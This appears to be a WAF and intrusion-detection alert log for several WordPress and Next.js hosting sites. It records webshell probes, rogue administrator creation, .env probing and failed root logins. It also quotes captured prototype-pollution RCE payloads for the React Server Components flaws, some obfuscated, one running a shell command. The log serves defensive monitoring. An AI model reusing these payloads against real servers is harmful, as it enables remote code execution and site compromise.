name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 180.252.91.95
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:uuhhhh7.zip||WPU:marktechadmin||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.252.86.122
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.19||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/VroC4lVHX/VroC4lVHXmas.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.144.245.174
country_id: 1861060
domain: staging.marktechfusion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:216.144.245.174||TA:216.144.245.174||


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 185.135.10.95
country_id: 2623032
domain: staging.marktechfusion.com
description:
IM360 WAF: Track WordPress admin user creation||WPU:marktechadmin||NewUser:uxanvacx||Email:stagingft@yahoo.com||Role:administrator||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 154.29.25.9
country_id: 660013
domain: staging.marktechfusion.com
description:
IM360 WAF: Track WordPress admin user creation||WPU:marktechadmin||NewUser:uxanvacx||Email:stagingwp@yahoo.com||Role:administrator||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 195.40.71.101
country_id: 1861060
domain: staging.marktechfusion.com
description:
IM360 WAF: Track WordPress admin user creation||WPU:marktechadmin||NewUser:uxanvacx||Email:stagingov@outlook.com||Role:administrator||RSV:8.19||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.20.5
description:
Jun 23 03:54:13 staging sshd[832320]: Accepted publickey for gulzar.ali from 192.168.20.5 port 49250 ssh2: RSA SHA256:pOs0AnaKP05KLlLUzCVZXobbujdQRd1vUuJ9Q0NN0X4


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.20.5
description:
Jun 23 03:56:55 staging sshd[833934]: Accepted publickey for gulzar.ali from 192.168.20.5 port 49248 ssh2: RSA SHA256:pOs0AnaKP05KLlLUzCVZXobbujdQRd1vUuJ9Q0NN0X4


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 62.60.130.230
country_id: 130758
domain: goodhope.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.19||T:APACHE||REQUEST_URI:/test/wp-content/plugins/updraftplus/readme.txt||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 04:16:19 staging sshd[839218]: Accepted publickey for ansible from 192.168.0.89 port 50430 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 04:27:44 staging sshd[842264]: Accepted publickey for ansible from 192.168.0.89 port 57190 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.20.5
description:
Jun 23 05:50:16 staging sshd[864685]: Accepted publickey for gulzar.ali from 192.168.20.5 port 49239 ssh2: RSA SHA256:pOs0AnaKP05KLlLUzCVZXobbujdQRd1vUuJ9Q0NN0X4


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 06:54:34 staging sshd[875986]: Accepted publickey for ansible from 192.168.0.89 port 43300 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:04:04 staging sshd[878769]: Accepted publickey for ansible from 192.168.0.89 port 47782 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:16:55 staging sshd[881453]: Accepted publickey for ansible from 192.168.0.89 port 54672 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:17:31 staging sshd[881964]: Accepted publickey for ansible from 192.168.0.89 port 33998 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:28:08 staging sshd[885605]: Accepted publickey for ansible from 192.168.0.89 port 59140 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:32:54 staging sshd[893670]: Accepted publickey for ansible from 192.168.0.89 port 50116 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:41:41 staging sshd[902482]: Accepted publickey for ansible from 192.168.0.89 port 37472 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:50:59 staging sshd[911118]: Accepted publickey for ansible from 192.168.0.89 port 60906 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 07:55:55 staging sshd[918885]: Accepted publickey for ansible from 192.168.0.89 port 35318 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 08:00:20 staging sshd[926957]: Accepted publickey for ansible from 192.168.0.89 port 44352 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 08:23:05 staging sshd[933833]: Accepted publickey for ansible from 192.168.0.89 port 38116 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 08:28:04 staging sshd[939545]: Accepted publickey for ansible from 192.168.0.89 port 54372 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 09:18:44 staging sshd[957887]: Accepted publickey for ansible from 192.168.0.89 port 39426 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 09:36:20 staging sshd[967420]: Accepted publickey for ansible from 192.168.0.89 port 43818 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 09:55:19 staging sshd[976792]: Accepted publickey for ansible from 192.168.0.89 port 50514 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 11:38:04 staging sshd[998642]: Accepted publickey for ansible from 192.168.0.89 port 34812 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 23 11:46:30 staging sshd[1006877]: Accepted publickey for ansible from 192.168.0.89 port 60088 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.37
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-content/uploads/makeasmtp.php||SC:/home/bookemfarmtrang/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: staging.marktechfusion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-includes/images/wp-login.php||SC:/home/stagingmarktech/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.38
country_id: 1210997
domain: staging.marktechfusion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-content/uploads/about.php||SC:/home/stagingmarktech/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 103.87.212.38
country_id: 1210997
domain: staging.marktechfusion.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-admin/maint/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.38
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-includes/images/wp-login.php||SC:/home/bookemfarmtrang/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.36
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-content/uploads/about.php||SC:/home/bookemfarmtrang/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 103.87.212.38
country_id: 1210997
domain: staging.marktechfusion.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-admin/includes/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.37
country_id: 1210997
domain: staging.marktechfusion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-admin/images/about.php||SC:/home/stagingmarktech/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 103.87.212.37
country_id: 1210997
domain: staging.marktechfusion.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/stagingmarktech/public_html/qcce4n1q5uo3cnwglCdefault.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.37
country_id: 1210997
domain: staging.marktechfusion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-admin/images/index.php||SC:/home/stagingmarktech/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.37
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/qcce4n1q5uo3cnwglCdefault.php/wp-admin/images/index.php||SC:/home/bookemfarmtrang/public_html/qcce4n1q5uo3cnwglCdefault.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 103.87.212.37
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/bookemfarmtrang/public_html/qcce4n1q5uo3cnwglCdefault.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 13.56.76.141
country_id: 6252001
domain: theway.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.56.76.141
country_id: 6252001
domain: theway.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:theway||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 13.56.76.141
country_id: 6252001
domain: theway.trangotech.dev
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.19||T:APACHE||MV:.env.swp||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 84.235.238.52
country_id: 3017382
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.19||T:APACHE||SC:/home/stagingmarktech/public_html/.tmb/nrhtapfxrzrd0abyegvduxCdefault.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 143.58.152.227
country_id: 2635167
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-52.143.58.152.227||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-24 04:42:57 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-24 04:42:58 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 185.177.72.11
country_id: 3017382
domain: sherpa.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/test/bdd/fixtures/agent-rest/.env||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 185.177.72.10
country_id: 3017382
domain: sherpa.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/backend/database/.env||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 95.179.166.188
country_id: 2921044
domain: express.trangotech.dev
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.19||T:APACHE||SC:/home/expresstrangotec/public_html/index.php||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 24 12:44:53 staging sshd[1201789]: Accepted password for devops from 192.168.0.89 port 39052 ssh2


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 24 12:49:12 staging sshd[1203905]: Accepted publickey for ansible from 192.168.0.89 port 59946 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 24 13:09:00 staging sshd[1208242]: Accepted publickey for ansible from 192.168.0.89 port 40704 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 24 14:20:04 staging sshd[1219803]: Accepted publickey for ansible from 192.168.0.89 port 54820 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.215.121.87
country_id: 6252001
domain: eventemcee.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.101.64.6
country_id: 2017370
description:
5.101.64.6 - - [24/Jun/2026:15:52:38 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9945745&pdata=https%253A%252F%252F38.95.35.74%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782330756 HTTP/2.0" 302 0 38.95.35.74 "https://38.95.35.74:2087/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.101.64.6


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.89.108.39
country_id: 6252001
domain: cruzmeweb.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.49.180.170
country_id: 6252001
domain: dubbs.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.251.182.158
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.19||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/Qdkv4tOtN/Qdkv4tOtNmas.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.102.223.122
country_id: 660013
domain: staging.marktechfusion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:172.102.223.122||TA:172.102.223.122||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 23.228.166.241
country_id: 6252001
domain: midwest.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 64.62.156.97
country_id: 6252001
domain: 38.95.35.74
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.6099.28 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.143.224.88
country_id: 2635167
domain: midwest.trangotech.dev
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.143.224.88||TA:104.143.224.88||


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: fanly.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"reason\":-1,\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"__d4f4e4db\":\"de6be436f87aac2c\",\"x_24859b20\":[],\"x_5a749fcc\":\"0b45\",\"_response\":{\"_prefix\":\"var bfzrj=[].slice.call(arguments,1)[0];var cpmm=bfzrj;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"er\\\


plugin: modsec
rule: 77093094
abuser: 34.42.34.237
country_id: 6252001
domain: commclan.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"reason\":-1,\"_e9ca64d4\":\"b7a4\",\"_635b4fb9\":\"b1f2977c620fcc65\",\"data_4491b993\":\"3ca3\",\"_response\":{\"_prefix\":\"var lksd=[].slice.call(arguments,1)[0];var orgvv=lksd;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: goodhope.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var sj=arguments[0x1];var mp=sj;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 35.188.82.99
country_id: 6252001
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-admin/setup-config.php/blog/wp-json/wp/v2/users/||


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: kylenet.trangotech.dev
description:


plugin: modsec
rule: 77350365
abuser: 50.7.232.90
country_id: 6252001
domain: staging.marktechfusion.com
name:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)

description:
IM360 WAF: Track Directory Traversal vulnerability in File Manager and File Manager Pro < 7.2.2 (CVE-2023-6825)||MVN:TX:1||MV:Lw||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 50.7.232.90
country_id: 6252001
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.19||T:APACHE||SC:/home/stagingmarktech/public_html/wp-admin/admin-ajax.php||User:stagingmarktech||WPU:marktechadmin||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.22.169
country_id: 1880251
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.82.18.200
country_id: 6252001
domain: wowspent.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-25 08:46:55 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-25 08:46:56 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: argate.trangotech.dev
description:


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 34.123.82.129
country_id: 6252001
domain: argate.trangotech.dev
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 35.243.45.17
country_id: 6252001
domain: h2dsl.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.20||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: fanly.trangotech.dev
description:


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.90.234.50
country_id: 6252001
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.4 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.245.8.13
country_id: 241170
domain: boat.trangotech.dev
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/boat.trangotech.dev/wp-content/uploads/2024/10/Settings-2.png HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 166.62.33.230
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/wp-content/plugins/advanced-custom-fields-pro/pro/admin/admin.options.page.php||WPU:||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: boat.trangotech.dev
description:


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 180.252.85.220
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 180.252.85.220
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:uuhhhh7.zip||WPU:marktechadmin||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: dubbs.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"data_b4bae6ec\":[],\"reason\":-1,\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"x_e82af086\":\"af8b188df2bba03e\",\"_response\":{\"_prefix\":\"var szs=[].slice.call(arguments,1)[0];var vg=szs;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.18.245
country_id: 6252001
description:
